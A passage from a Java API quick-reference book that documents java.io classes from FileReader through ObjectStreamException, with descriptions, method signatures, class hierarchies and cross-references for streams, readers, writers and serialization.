 | public FileReader (FileDescriptor fd);
 | public FileReader (File file) throws FileNotFoundException;
 | public FileReader (String fileName) throws FileNotFoundException;
}

Hierarchy: Object-->Reader-->InputStreamReader-->FileReader

FileWriter | Java 1.1
java.io | PJ1.1(opt)

FileWriter is a convenience subclass of OutputStreamWriter that is useful when you want to write text (as opposed to binary data) to a file. You create a FileWriter by specifying the file to be written to and, optionally, whether the data should be appended to the end of an existing file instead of overwriting that file. The FileWriter class creates an internal FileOutputStream to write bytes to the specified file and uses the functionality of its superclass, OutputStreamWriter, to convert the Unicode characters written to the stream into bytes using the default encoding of the default locale. (If you want to use an encoding other than the default, you cannot use FileWriter; in that case you must create your own OutputStreamWriter and FileOutputStream.) Because FileWriter is a trivial subclass of OutputStreamWriter, it does not define any methods of its own, but simply inherits them from its superclass.

public class FileWriter extends OutputStreamWriter {
// | Public Constructors
 | public FileWriter (File file) throws IOException;
 | public FileWriter (FileDescriptor fd);
 | public FileWriter (String fileName) throws IOException;
 | public FileWriter (String fileName, boolean append) throws IOException;
}

Hierarchy: Object-->Writer-->OutputStreamWriter-->FileWriter

FilterInputStream | Java 1.0
java.io | PJ1.1

This class provides method definitions required to filter data obtained from the InputStream specified when the FilterInputStream is created. It must be subclassed to perform some sort of filtering operation and cannot be instantiated directly. See the subclasses BufferedInputStream, DataInputStream, and PushbackInputStream.

public class FilterInputStream extends java.io.InputStream {
// | Protected Constructors
 | protected FilterInputStream (java.io.InputStream in); |
// | Public Methods Overriding InputStream
 | public int available () throws IOException; |
 | public void close () throws IOException; |
 | public void mark (int readlimit); | synchronized
 | public boolean markSupported (); |
 | public int read () throws IOException; |
 | public int read (byte[ ] b) throws IOException; |
 | public int read (byte[ ] b, int off, int len) throws IOException; |
 | public void reset () throws IOException; | synchronized
 | public long skip (long n) throws IOException; |
// | Protected Instance Fields
 | protected java.io.InputStream in ; |
}

Hierarchy: Object-->java.io.InputStream-->FilterInputStream

Subclasses: BufferedInputStream, java.io.DataInputStream, LineNumberInputStream, PushbackInputStream, java.security.DigestInputStream, java.util.zip.CheckedInputStream, java.util.zip.InflaterInputStream, javax.crypto.CipherInputStream, javax.swing.ProgressMonitorInputStream

FilterOutputStream | Java 1.0
java.io | PJ1.1

This class provides method definitions required to filter the data to be written to the OutputStream specified when the FilterOutputStream is created. It must be subclassed to perform some sort of filtering operation and may not be instantiated directly. See the subclasses BufferedOutputStream and DataOutputStream.

public class FilterOutputStream extends java.io.OutputStream {
// | Public Constructors
 | public FilterOutputStream (java.io.OutputStream out);
// | Public Methods Overriding OutputStream
 | public void close () throws IOException;
 | public void flush () throws IOException;
 | public void write (int b) throws IOException;
 | public void write (byte[ ] b) throws IOException;
 | public void write (byte[ ] b, int off, int len) throws IOException;
// | Protected Instance Fields
 | protected java.io.OutputStream out ;
}

Hierarchy: Object-->java.io.OutputStream-->FilterOutputStream

Subclasses: BufferedOutputStream, java.io.DataOutputStream, PrintStream, java.security.DigestOutputStream, java.util.zip.CheckedOutputStream, java.util.zip.DeflaterOutputStream, javax.crypto.CipherOutputStream

FilterReader | Java 1.1
java.io | PJ1.1

This abstract class is intended to act as a superclass for character input streams that read data from some other character input stream, filter it in some way, and then return the filtered data when a read() method is called. FilterReader is declared abstract so that it cannot be instantiated. But none of its methods are themselves abstract: they all simply call the requested operation on the input stream passed to the FilterReader() constructor. If you were allowed to instantiate a FilterReader, you'd find that it is a null filter (i.e., it simply reads characters from the specified input stream and returns them without any kind of filtering).

Because FilterReader implements a null filter, it is an ideal superclass for classes that want to implement simple filters but do not want to override all the methods of Reader. In order to create your own filtered character input stream, you should subclass FilterReader and override both its read() methods to perform the desired filtering operation. Note that you can implement one of the read() methods in terms of the other, and thus only implement the filtration once. Recall that the other read() methods defined by Reader are implemented in terms of these methods, so you do not need to override those. In some cases, you may need to override other methods of FilterReader and provide methods or constructors that are specific to your subclass. FilterReader is the character-stream analog to FilterInputStream.

public abstract class FilterReader extends Reader {
// | Protected Constructors
 | protected FilterReader (Reader in);
// | Public Methods Overriding Reader
 | public void close () throws IOException;
 | public void mark (int readAheadLimit) throws IOException;
 | public boolean markSupported ();
 | public int read () throws IOException;
 | public int read (char[ ] cbuf, int off, int len) throws IOException;
 | public boolean ready () throws IOException;
 | public void reset () throws IOException;
 | public long skip (long n) throws IOException;
// | Protected Instance Fields
 | protected Reader in ;
}

Hierarchy: Object-->Reader-->FilterReader

Subclasses: PushbackReader

FilterWriter | Java 1.1
java.io | PJ1.1

This abstract class is intended to act as a superclass for character output streams that filter the data written to them before writing it to some other character output stream. FilterWriter is declared abstract so that it cannot be instantiated. But none of its methods are themselves abstract: they all simply invoke the corresponding method on the output stream that was passed to the FilterWriter constructor. If you were allowed to instantiate a FilterWriter object, you'd find that it acts as a null filter (i.e., it simply passes the characters written to it along, without any filtration).

Because FilterWriter implements a null filter, it is an ideal superclass for classes that want to implement simple filters without having to override all of the methods of Writer. In order to create your own filtered character output stream, you should subclass FilterWriter and override all its write() methods to perform the desired filtering operation. Note that you can implement two of the write() methods in terms of the third and thus implement your filtering algorithm only once. In some cases, you may want to override other Writer methods and add other methods or constructors that are specific to your subclass. FilterWriter is the character-stream analog of FilterOutputStream.

public abstract class FilterWriter extends Writer {
// | Protected Constructors
 | protected FilterWriter (Writer out);
// | Public Methods Overriding Writer
 | public void close () throws IOException;
 | public void flush () throws IOException;
 | public void write (int c) throws IOException;
 | public void write (char[ ] cbuf, int off, int len) throws IOException;
 | public void write (String str, int off, int len) throws IOException;
// | Protected Instance Fields
 | protected Writer out ;
}

Hierarchy: Object-->Writer-->FilterWriter

InputStream | Java 1.0
java.io | PJ1.1

This abstract class is the superclass of all input streams. It defines the basic input methods all input stream classes provide.read() reads a single byte or an array (or subarray) of bytes. It returns the byte read, the number of bytes read, or -1 if the end-of-file has been reached. skip() skips a specified number of bytes of input. available() returns the number of bytes that can be read without blocking. close() closes the input stream and frees up any system resources associated with it. The stream should not be used after close() has been called.

If markSupported() returns true for a given InputStream, that stream supports mark() and reset() methods. mark() marks the current position in the input stream so that reset() can return to that position (as long as no more than the specified number of bytes have been read between the calls to mark() and reset()). See also Reader.

public abstract class InputStream {
// | Public Constructors
 | public InputStream (); |
// | Public Instance Methods
 | public int available () throws IOException; | constant
 | public void close () throws IOException; | empty
 | public void mark (int readlimit); | synchronized empty
 | public boolean markSupported (); | constant
 | public abstract int read () throws IOException; |
 | public int read (byte[ ] b) throws IOException; |
 | public int read (byte[ ] b, int off, int len) throws IOException; |
 | public void reset () throws IOException; | synchronized
 | public long skip (long n) throws IOException; |
}

Subclasses: ByteArrayInputStream, FileInputStream, FilterInputStream, ObjectInputStream, PipedInputStream, SequenceInputStream, StringBufferInputStream, javax.servlet.ServletInputStream, org.omg.CORBA.portable.InputStream

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: FilterInputStream.in, System.in

InputStreamReader | Java 1.1
java.io | PJ1.1

This class is a character input stream that uses a byte input stream as its data source. It reads bytes from a specified InputStream and translates them into Unicode characters according to a particular platform- and locale-dependent character encoding. This is an important internationalization feature in Java 1.1 and later. InputStreamReader supports the standard Reader methods. It also has a getEncoding() method that returns the name of the encoding being used to convert bytes to characters.

When you create an InputStreamReader, you specify an InputStream from which the InputStreamReader is to read bytes and, optionally, the name of the character encoding used by those bytes. If you do not specify an encoding name, the InputStreamReader uses the default encoding for the default locale, which is usually the correct thing to do.

public class InputStreamReader extends Reader {
// | Public Constructors
 | public InputStreamReader (java.io.InputStream in);
 | public InputStreamReader (java.io.InputStream in, String enc) throws UnsupportedEncodingException;
// | Public Instance Methods
 | public String getEncoding ();
// | Public Methods Overriding Reader
 | public void close () throws IOException;
 | public int read () throws IOException;
 | public int read (char[ ] cbuf, int off, int len) throws IOException;
 | public boolean ready () throws IOException;
}

Hierarchy: Object-->Reader-->InputStreamReader

Subclasses: FileReader

InterruptedIOException | Java 1.0
java.io | serializable checked PJ1.1

An IOException that signals that an input or output operation was interrupted. The bytesTransferred field contains the number of bytes read or written before the operation was interrupted.

public class InterruptedIOException extends IOException {
// | Public Constructors
 | public InterruptedIOException ();
 | public InterruptedIOException (String s);
// | Public Instance Fields
 | public int bytesTransferred ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->InterruptedIOException

InvalidClassException | Java 1.1
java.io | serializable checked PJ1.1

Signals that the serialization mechanism has encountered one of several possible problems with the class of an object that is being serialized or deserialized. The classname field should contain the name of the class in question, and the getMessage() method is overridden to return this class name with the message.

public class InvalidClassException extends ObjectStreamException {
// | Public Constructors
 | public InvalidClassException (String reason);
 | public InvalidClassException (String cname, String reason);
// | Public Methods Overriding Throwable
 | public String getMessage ();
// | Public Instance Fields
 | public String classname ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException-->InvalidClassException

InvalidObjectException | Java 1.1
java.io | serializable checked PJ1.1

This exception should be thrown by the validateObject() method of an object that implements the ObjectInputValidation interface when a deserialized object fails an input validation test for any reason.

public class InvalidObjectException extends ObjectStreamException {
// | Public Constructors
 | public InvalidObjectException (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException-->InvalidObjectException

Thrown By: java.awt.font.TextAttribute.readResolve(), ObjectInputStream.registerValidation(), ObjectInputValidation.validateObject(), java.text.AttributedCharacterIterator.Attribute.readResolve()

IOException | Java 1.0
java.io | serializable checked PJ1.1

Signals that an exceptional condition has occurred during input or output. This class has several more specific subclasses. See EOFException, FileNotFoundException, InterruptedIOException, and UTFDataFormatException.

public class IOException extends Exception {
// | Public Constructors
 | public IOException ();
 | public IOException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException

Subclasses: CharConversionException, EOFException, FileNotFoundException, InterruptedIOException, ObjectStreamException, SyncFailedException, UnsupportedEncodingException, UTFDataFormatException, java.net.MalformedURLException, java.net.ProtocolException, java.net.SocketException, java.net.UnknownHostException, java.net.UnknownServiceException, java.rmi.RemoteException, java.util.zip.ZipException, javax.swing.text.ChangedCharSetException

Passed To: java.awt.print.PrinterIOException.PrinterIOException()

Returned By: java.awt.print.PrinterIOException.getIOException()

Thrown By: Too many methods to list.

LineNumberInputStream | Java 1.0; Deprecated in Java 1.1
java.io | PJ1.1

This class is a FilterInputStream that keeps track of the number of lines of data that have been read. getLineNumber() returns the current line number; setLineNumber() sets the line number of the current line. Subsequent lines are numbered starting from that number. This class is deprecated as of Java 1.1 because it does not properly convert bytes to characters. Use LineNumberReader instead.

public class LineNumberInputStream extends FilterInputStream {
// | Public Constructors
 | public LineNumberInputStream (java.io.InputStream in);
// | Public Instance Methods
 | public int getLineNumber ();
 | public void setLineNumber (int lineNumber);
// | Public Methods Overriding FilterInputStream
 | public int available () throws IOException;
 | public void mark (int readlimit);
 | public int read () throws IOException;
 | public int read (byte[ ] b, int off, int len) throws IOException;
 | public void reset () throws IOException;
 | public long skip (long n) throws IOException;
}

Hierarchy: Object-->java.io.InputStream-->FilterInputStream-->LineNumberInputStream

LineNumberReader | Java 1.1
java.io | PJ1.1

This class is a character input stream that keeps track of the number of lines of text that have been read from it. It supports the usual Reader methods and also the readLine() method introduced by its superclass. In addition to these methods, you can call getLineNumber() to query the number of lines set so far. You can also call setLineNumber() to set the line number for the current line. Subsequent lines are numbered sequentially from this specified starting point. This class is a character-stream analog to LineNumberInputStream, which has been deprecated as of Java 1.1.

public class LineNumberReader extends BufferedReader {
// | Public Constructors
 | public LineNumberReader (Reader in);
 | public LineNumberReader (Reader in, int sz);
// | Public Instance Methods
 | public int getLineNumber ();
 | public void setLineNumber (int lineNumber);
// | Public Methods Overriding BufferedReader
 | public void mark (int readAheadLimit) throws IOException;
 | public int read () throws IOException;
 | public int read (char[ ] cbuf, int off, int len) throws IOException;
 | public String readLine () throws IOException;
 | public void reset () throws IOException;
 | public long skip (long n) throws IOException;
}

Hierarchy: Object-->Reader-->BufferedReader-->LineNumberReader

NotActiveException | Java 1.1
java.io | serializable checked PJ1.1

This exception is thrown in several circumstances. It indicates that the invoked method was not invoked at the right time or in the correct context. Typically, it means that an ObjectOutputStream or ObjectInputStream is not currently active and therefore the requested operation cannot be performed.

public class NotActiveException extends ObjectStreamException {
// | Public Constructors
 | public NotActiveException ();
 | public NotActiveException (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException-->NotActiveException

Thrown By: ObjectInputStream.{defaultReadObject(), readFields(), registerValidation()}

NotSerializableException | Java 1.1
java.io | serializable checked PJ1.1

Signals that an object cannot be serialized. It is thrown when serialization is attempted on an instance of a class that does not implement the Serializable interface. Note that it is also thrown when an attempt is made to serialize a Serializable object that refers to (or contains) an object that is not Serializable. A subclass of a class that is Serializable can prevent itself from being serialized by throwing this exception from its writeObject() and/or readObject() methods.

public class NotSerializableException extends ObjectStreamException {
// | Public Constructors
 | public NotSerializableException ();
 | public NotSerializableException (String classname);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException-->NotSerializableException

ObjectInput | Java 1.1
java.io | PJ1.1

This interface extends the DataInput interface and adds methods for deserializing objects and reading bytes and arrays of bytes.

public interface ObjectInput extends DataInput {
// | Public Instance Methods
 | public abstract int available () throws IOException;
 | public abstract void close () throws IOException;
 | public abstract int read () throws IOException;
 | public abstract int read (byte[ ] b) throws IOException;
 | public abstract int read (byte[ ] b, int off, int len) throws IOException;
 | public abstract Object readObject () throws ClassNotFoundExceptionIOException;
 | public abstract long skip (long n) throws IOException;
}

Hierarchy: (ObjectInput(DataInput))

Implementations: ObjectInputStream

Passed To: java.awt.datatransfer.DataFlavor.readExternal(), Externalizable.readExternal(), java.rmi.server.ObjID.read()

Returned By: java.rmi.server.RemoteCall.getInputStream()

ObjectInputStream | Java 1.1
java.io | PJ1.1

ObjectInputStream deserializes objects, arrays, and other values from a stream that was previously created with an ObjectOutputStream. The readObject() method deserializes objects and arrays (which should then be cast to the appropriate type); various other methods read primitive data values from the stream. Note that only objects that implement the Serializable or Externalizable interface can be serialized and deserialized.

A class may implement its own private readObject(ObjectInputStream) method to customize the way it is deserialized. If you define such a method, there are several ObjectInputStream methods you can use to help you deserialize the object. defaultReadObject() is the easiest. It reads the content of the object just as an ObjectInputStream would normally do. If you wrote additional data before or after the default object contents, you should read that data before or after calling defaultReadObject(). When working with multiple versions or implementations of a class, you may have to deserialize a set of fields that do not match the fields of your class. In this case, give your class a static field named serialPersistentFields whose value is an array of ObjectStreamField objects that describe the fields to be deserialized. If you do this, your readObject() method can call readFields() to read the specified fields from the stream and return them in a ObjectInputStream.GetField object. See ObjectStreamField and ObjectInputStream.GetField for more details. Finally, you can call registerValidation() from a custom readObject() method. This method registers an ObjectInputValidation object (typically the object being deserialized) to be notified when a complete tree of objects has been deserialized, and the original call to the readObject() method of the ObjectInputStream is about to return to its caller.

The remaining methods include miscellaneous stream-manipulation methods and several protected methods for use by subclasses that want to customize the deserialization behavior of ObjectInputStream.

public class ObjectInputStream extends java.io.InputStream implements ObjectInput, ObjectStreamConstants {
// | Public Constructors
 | public ObjectInputStream (java.io.InputStream in) throws IOExceptionStreamCorruptedException; |
// | Protected Constructors
1.2 | protected ObjectInputStream () throws IOExceptionSecurityException; |
// | Inner Classes
1.2 | ; |
// | Public Instance Methods
 | public void defaultReadObject () throws IOExceptionClassNotFoundExceptionNotActiveException; |
1.2 | public ObjectInputStream.GetField readFields () throws IOExceptionClassNotFoundExceptionNotActiveException; |
 | public void registerValidation (ObjectInputValidation obj, int prio) throws NotActiveExceptionInvalidObjectException; | synchronized
// | Methods Implementing DataInput
 | public boolean readBoolean () throws IOException; |
 | public byte readByte () throws IOException; |
 | public char readChar () throws IOException; |
 | public double readDouble () throws IOException; |
 | public float readFloat () throws IOException; |
 | public void readFully (byte[ ] data) throws IOException; |
 | public void readFully (byte[ ] data, int offset, int size) throws IOException; |
 | public int readInt () throws IOException; |
 | public long readLong () throws IOException; |
 | public short readShort () throws IOException; |
 | public int readUnsignedByte () throws IOException; |
 | public int readUnsignedShort () throws IOException; |
 | public String readUTF () throws IOException; |
 | public int skipBytes (int len) throws IOException; |
// | Methods Implementing ObjectInput
 | public int available () throws IOException; |
 | public void close () throws IOException; |
 | public int read () throws IOException; |
 | public int read (byte[ ] b, int off, int len) throws IOException; |
 | public final Object readObject () throws OptionalDataExceptionClassNotFoundExceptionIOException; |
// | Protected Instance Methods
 | protected boolean enableResolveObject (boolean enable) throws SecurityException; |
1.3 | protected ObjectStreamClass readClassDescriptor () throws IOExceptionClassNotFoundException; |
1.2 | protected Object readObjectOverride () throws OptionalDataExceptionClassNotFoundExceptionIOException; | constant
 | protected void readStreamHeader () throws IOExceptionStreamCorruptedException; |
 | protected Class resolveClass (ObjectStreamClass v) throws IOExceptionClassNotFoundException; |
 | protected Object resolveObject (Object obj) throws IOException; |
1.3 | protected Class resolveProxyClass (String[ ] interfaces) throws IOExceptionClassNotFoundException; |
// | Deprecated Public Methods
# | public String readLine () throws IOException; | Implements:DataInput
}

Hierarchy: Object-->java.io.InputStream-->ObjectInputStream(ObjectInput(DataInput),ObjectStreamConstants)

Passed To: java.beans.beancontext.BeanContextServicesSupport.bcsPreDeserializationHook(), java.beans.beancontext.BeanContextSupport.{bcsPreDeserializationHook(), deserialize(), readChildren()}, javax.swing.text.StyleContext.{readAttributes(), readAttributeSet()}

ObjectInputStream.GetField Java 1.2
java.io

This class holds the values of named fields read by an ObjectInputStream. It gives the programmer precise control over the deserialization process and is typically used when implementing an object with a set of fields that do not match the set of fields (and the serialization stream format) of the original implementation of the object. This class allows the implementation of a class to change without breaking serialization compatibility.

In order to use the GetField class, your class must implement a private readObject() method that is responsible for custom deserialization. Typically, when using the GetField class, you have also specified an array of ObjectStreamField objects as the value of a private static field named serialPersistentFields. This array specifies the names and types of all fields expected to be found when reading from a serialization stream. If there is no serialPersistantField field, the array of ObjectStreamField objects is created from the actual fields (excluding static and transient fields) of the class.

Within the readObject() method of your class, call the readFields() method of ObjectInputStream(). This method reads the values of all fields from the stream and stores them in an ObjectInputStream.GetField object that it returns. This GetField object is essentially a mapping from field names to field values, and you can extract the values of whatever fields you need in order to restore the proper state of the object being deserialized. The various get() methods return the values of named fields of specified types. Each method takes a default value as an argument, in case no value for the named field was present in the serialization stream. (This can happen when deserializing an object written by an earlier version of the class, for example.) Use the defaulted() method to determine whether the GetField object contains a value for the named field. If this method returns true, the named field had no value in the stream, so the get() method of the GetField object has to return the specified default value. The getObjectStreamClass() method of a GetField object returns the ObjectStreamClass object for the object being deserialized. This ObjectStreamClass can obtain the array of ObjectStreamField objects for the class.

See also ObjectOutputStream.PutField

public abstract static class ObjectInputStream.GetField {
// | Public Constructors
 | public GetField ();
// | Public Instance Methods
 | public abstract boolean defaulted (String name) throws IOExceptionIllegalArgumentException;
 | public abstract boolean get (String name, boolean defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract byte get (String name, byte defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract char get (String name, char defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract short get (String name, short defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract int get (String name, int defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract long get (String name, long defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract float get (String name, float defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract double get (String name, double defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract Object get (String name, Object defvalue) throws IOExceptionIllegalArgumentException;
 | public abstract ObjectStreamClass getObjectStreamClass ();
}

Returned By: ObjectInputStream.readFields()

ObjectInputValidation | Java 1.1
java.io | PJ1.1

A class implements this interface and defines the validateObject() method in order to validate itself when it and all the objects it depends on have been completely deserialized from an ObjectInputStream. The validateObject() method is only invoked, however, if the object is passed to ObjectInputStream.registerValidation(); this must be done from the readObject() method of the object. Note that if an object is deserialized as part of a larger object graph, its validateObject() method is not invoked until the entire graph is read, and the original call to ObjectInputStream.readObject() is about to return. validateObject() should throw an InvalidObjectException if the object fails validation. This stops object serialization, and the original call to ObjectInputStream.readObject() terminates with the InvalidObjectException exception.

public interface ObjectInputValidation {
// | Public Instance Methods
 | public abstract void validateObject () throws InvalidObjectException;
}

Passed To: ObjectInputStream.registerValidation()

ObjectOutput | Java 1.1
java.io | PJ1.1

This interface extends the DataOutput interface and adds methods for serializing objects and writing bytes and arrays of bytes.

public interface ObjectOutput extends DataOutput {
// | Public Instance Methods
 | public abstract void close () throws IOException;
 | public abstract void flush () throws IOException;
 | public abstract void write (byte[ ] b) throws IOException;
 | public abstract void write (int b) throws IOException;
 | public abstract void write (byte[ ] b, int off, int len) throws IOException;
 | public abstract void writeObject (Object obj) throws IOException;
}

Hierarchy: (ObjectOutput(DataOutput))

Implementations: ObjectOutputStream

Passed To: java.awt.datatransfer.DataFlavor.writeExternal(), Externalizable.writeExternal(), ObjectOutputStream.PutField.write(), java.rmi.server.ObjID.write(), java.rmi.server.RemoteRef.getRefClass()

Returned By: java.rmi.server.RemoteCall.{getOutputStream(), getResultStream()}

ObjectOutputStream | Java 1.1
java.io | PJ1.1

The ObjectOutputStream serializes objects, arrays, and other values to a stream. The writeObject() method serializes an object or array, and various other methods write primitive data values to the stream. Note that only objects that implement the Serializable or Externalizable interface can be serialized.

A class that wants to customize the way instances are serialized should declare a private writeObject(ObjectOutputStream) method. This method is invoked when an object is being serialized and can use several additional methods of ObjectOutputStream. defaultWriteObject() performs the same serialization that would happen if no writeObject() method existed. An object can call this method to serialize itself and then use other methods of ObjectOutputStream to write additional data to the serialization stream. The class must define a matching readObject() method to read that additional data, of course. When working with multiple versions or implementations of a class, you may have to serialize a set of fields that do not precisely match the fields of your class. In this case, give your class a static field named serialPersistentFields whose value is an array of ObjectStreamField objects that describe the fields to be serialized. In your writeObject() method, call putFields() to obtain an ObjectOutputStream.PutField object. Store field names and values into this object, and then call writeFields() to write them out to the serialization stream. See ObjectStreamField and ObjectOutputStream.PutField for further details.

The remaining methods of ObjectOutputStream are miscellaneous stream-manipulation methods and protected methods for use by subclasses that want to customize its serialization behavior.

public class ObjectOutputStream extends java.io.OutputStream implements ObjectOutput, ObjectStreamConstants {
// | Public Constructors
 | public ObjectOutputStream (java.io.OutputStream out) throws IOException; |
// | Protected Constructors
1.2 | protected ObjectOutputStream () throws IOExceptionSecurityException; |
// | Inner Classes
1.2 | ; |
// | Public Instance Methods
 | public void defaultWriteObject () throws IOException; |
1.2 | public ObjectOutputStream.PutField putFields () throws IOException; |
 | public void reset () throws IOException; |
1.2 | public void useProtocolVersion (int version) throws IOException; |
1.2 | public void writeFields () throws IOException; |
// | Methods Implementing DataOutput
 | public void writeBoolean (boolean data) throws IOException; |
 | public void writeByte (int data) throws IOException; |
 | public void writeBytes (String data) throws IOException; |
 | public void writeChar (int data) throws IOException; |
 | public void writeChars (String data) throws IOException; |
 | public void writeDouble (double data) throws IOException; |
 | public void writeFloat (float data) throws IOException; |
 | public void writeInt (int data) throws IOException; |
 | public void writeLong (long data) throws IOException; |
 | public void writeShort (int data) throws IOException; |
 | public void writeUTF (String s) throws IOException; |
// | Methods Implementing ObjectOutput
 | public void close () throws IOException; |
 | public void flush () throws IOException; |
 | public void write (byte[ ] b) throws IOException; |
 | public void write (int data) throws IOException; |
 | public void write (byte[ ] b, int off, int len) throws IOException; |
 | public final void writeObject (Object obj) throws IOException; |
// | Protected Instance Methods
 | protected void annotateClass (Class cl) throws IOException; | empty
1.3 | protected void annotateProxyClass (Class cl) throws IOException; | empty
 | protected void drain () throws IOException; |
 | protected boolean enableReplaceObject (boolean enable) throws SecurityException; |
 | protected Object replaceObject (Object obj) throws IOException; |
1.3 | protected void writeClassDescriptor (ObjectStreamClass classdesc) throws IOException; |
1.2 | protected void writeObjectOverride (Object obj) throws IOException; | empty
 | protected void writeStreamHeader () throws IOException; |
}

Hierarchy: Object-->java.io.OutputStream-->ObjectOutputStream(ObjectOutput(DataOutput),ObjectStreamConstants)

Passed To: java.awt.AWTEventMulticaster.{save(), saveInternal()}, java.beans.beancontext.BeanContextServicesSupport.bcsPreSerializationHook(), java.beans.beancontext.BeanContextSupport.{bcsPreSerializationHook(), serialize(), writeChildren()}, javax.swing.text.StyleContext.{writeAttributes(), writeAttributeSet()}

ObjectOutputStream.PutField Java 1.2
java.io

This class holds values of named fields and allows them to be written to an ObjectOutputStream during the process of object serialization. It gives the programmer precise control over the serialization process and is typically used when the set of fields defined by a class do not match the set of fields (and the serialization stream format) defined by the original implementation of the class. In other words, ObjectOutputStream.PutField allows the implementation of a class to change without breaking serialization compatibility.

In order to use the PutField class, you typically define a private static serialPersistentFields field that refers to an array of ObjectStreamField objects. This array defines the set of fields written to the ObjectOutputStream, and therefore defines the serialization format. If you do not declare a serialPersistentFields field, the set of fields is all fields of the class, excluding static and transient fields.

In addition to the serialPersistentFields field, your class must also define a private writeObject() method that is responsible for the custom serialization of your class. In this method, call the putFields() method of ObjectOutputStream to obtain an ObjectOutputStream.PutField object. Once you have this object, use its various put() methods to specify the names and values of the field to be written out. The set of named fields should match those specified by serialPersistentFields. You may specify the fields in any order; the PutField class is responsible for writing them out in the correct order. Once you have specified the values of all fields, call the write() method of your PutField object in order to write the field values out to the serialization stream.

To reverse this custom serialization process, see ObjectInputStream.GetField.

public abstract static class ObjectOutputStream.PutField {
// | Public Constructors
 | public PutField ();
// | Public Instance Methods
 | public abstract void put (String name, long value);
 | public abstract void put (String name, int value);
 | public abstract void put (String name, float value);
 | public abstract void put (String name, Object value);
 | public abstract void put (String name, double value);
 | public abstract void put (String name, char value);
 | public abstract void put (String name, boolean value);
 | public abstract void put (String name, short value);
 | public abstract void put (String name, byte value);
 | public abstract void write (ObjectOutput out) throws IOException;
}

Returned By: ObjectOutputStream.putFields()

ObjectStreamClass | Java 1.1
java.io | serializable PJ1.1

This class represents a class that is being serialized. An ObjectStreamClass object contains the name of a class, its unique version identifier, and the name and type of the fields that constitute the serialization format for the class. getSerialVersionUID() returns a unique version identifier for the class. It returns either the value of the private serialVersionUID field of the class or a computed value that is based upon the public API of the class. In Java 1.2 and later, getFields() returns an array of ObjectStreamField objects that represent the names and types of the fields of the class to be serialized. getField() returns a single ObjectStreamField object that represents a single named field. By default, these methods use all the fields of a class except those that are static or transient. However, this default set of fields can be overridden by declaring a private serialPersistentFields field in the class. The value of this field should be the desired array of ObjectStreamField objects.

ObjectStreamClass class does not have a constructor; you should use the static lookup() method to obtain an ObjectStreamClass object for a given Class object. The forClass() instance method performs the opposite operation; it returns the Class object that corresponds to a given ObjectStreamClass. Most applications never need to use this class.

public class ObjectStreamClass implements Serializable {
// | No Constructor
// | Public Constants
1.2 | public static final ObjectStreamField[ ] NO_FIELDS ;
// | Public Class Methods
 | public static ObjectStreamClass lookup (Class cl);
// | Public Instance Methods
 | public Class forClass ();
1.2 | public ObjectStreamField getField (String name);
 | public ObjectStreamField[ ] getFields ();
 | public String getName ();
 | public long getSerialVersionUID ();
// | Public Methods Overriding Object
 | public String toString ();
}

Hierarchy: Object-->ObjectStreamClass(Serializable)

Passed To: ObjectInputStream.resolveClass(), ObjectOutputStream.writeClassDescriptor()

Returned By: ObjectInputStream.readClassDescriptor(), ObjectInputStream.GetField.getObjectStreamClass(), ObjectStreamClass.lookup()

ObjectStreamConstants Java 1.2
java.io

This interface defines various constants used by the Java object-serialization mechanism. Two important constants are PROTOCOL_VERSION_1 and PROTOCOL_VERSION_2, which specify the version of the serialization protocol to use. In Java 1.2, you can pass either of these values to the useProtocolVersion() method of an ObjectOutputStream. By default, Java 1.2 uses Version 2 of the protocol, and Java 1.1 uses Version 1 when serializing objects. Java 1.2 can deserialize objects written using either version of the protocol, as can Java 1.1.7 and later. If you want to serialize an object so that it can be read by versions of Java prior to Java 1.1.7, use PROTOCOL_VERSION_1.

The other constants defined by this interface are low-level values used by the serialization protocol. You do not need to use them unless you are reimplementing the serialization mechanism yourself.

public interface ObjectStreamConstants {
// | Public Constants
 | public static final int baseWireHandle ; | =8257536
 | public static final int PROTOCOL_VERSION_1 ; | =1
 | public static final int PROTOCOL_VERSION_2 ; | =2
 | public static final byte SC_BLOCK_DATA ; | =8
 | public static final byte SC_EXTERNALIZABLE ; | =4
 | public static final byte SC_SERIALIZABLE ; | =2
 | public static final byte SC_WRITE_METHOD ; | =1
 | public static final short STREAM_MAGIC ; | =-21267
 | public static final short STREAM_VERSION ; | =5
 | public static final SerializablePermission SUBCLASS_IMPLEMENTATION_PERMISSION ; |
 | public static final SerializablePermission SUBSTITUTION_PERMISSION ; |
 | public static final byte TC_ARRAY ; | =117
 | public static final byte TC_BASE ; | =112
 | public static final byte TC_BLOCKDATA ; | =119
 | public static final byte TC_BLOCKDATALONG ; | =122
 | public static final byte TC_CLASS ; | =118
 | public static final byte TC_CLASSDESC ; | =114
 | public static final byte TC_ENDBLOCKDATA ; | =120
 | public static final byte TC_EXCEPTION ; | =123
1.3 | public static final byte TC_LONGSTRING ; | =124
 | public static final byte TC_MAX ; | =125
 | public static final byte TC_NULL ; | =112
 | public static final byte TC_OBJECT ; | =115
1.3 | public static final byte TC_PROXYCLASSDESC ; | =125
 | public static final byte TC_REFERENCE ; | =113
 | public static final byte TC_RESET ; | =121
 | public static final byte TC_STRING ; | =116
}

Implementations: ObjectInputStream, ObjectOutputStream

ObjectStreamException | Java 1.1
java.io | serializable checked PJ1.1

This class is the superclass of a number of more specific exception types that may be raised in the process of serializing and deserializing objects with the ObjectOutputStream and ObjectInputStream classes.

public abstract class ObjectStreamException extends IOException {
// | Protected Constructors
 | protected ObjectStreamException ();
 | protected ObjectStreamException (String classname);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException

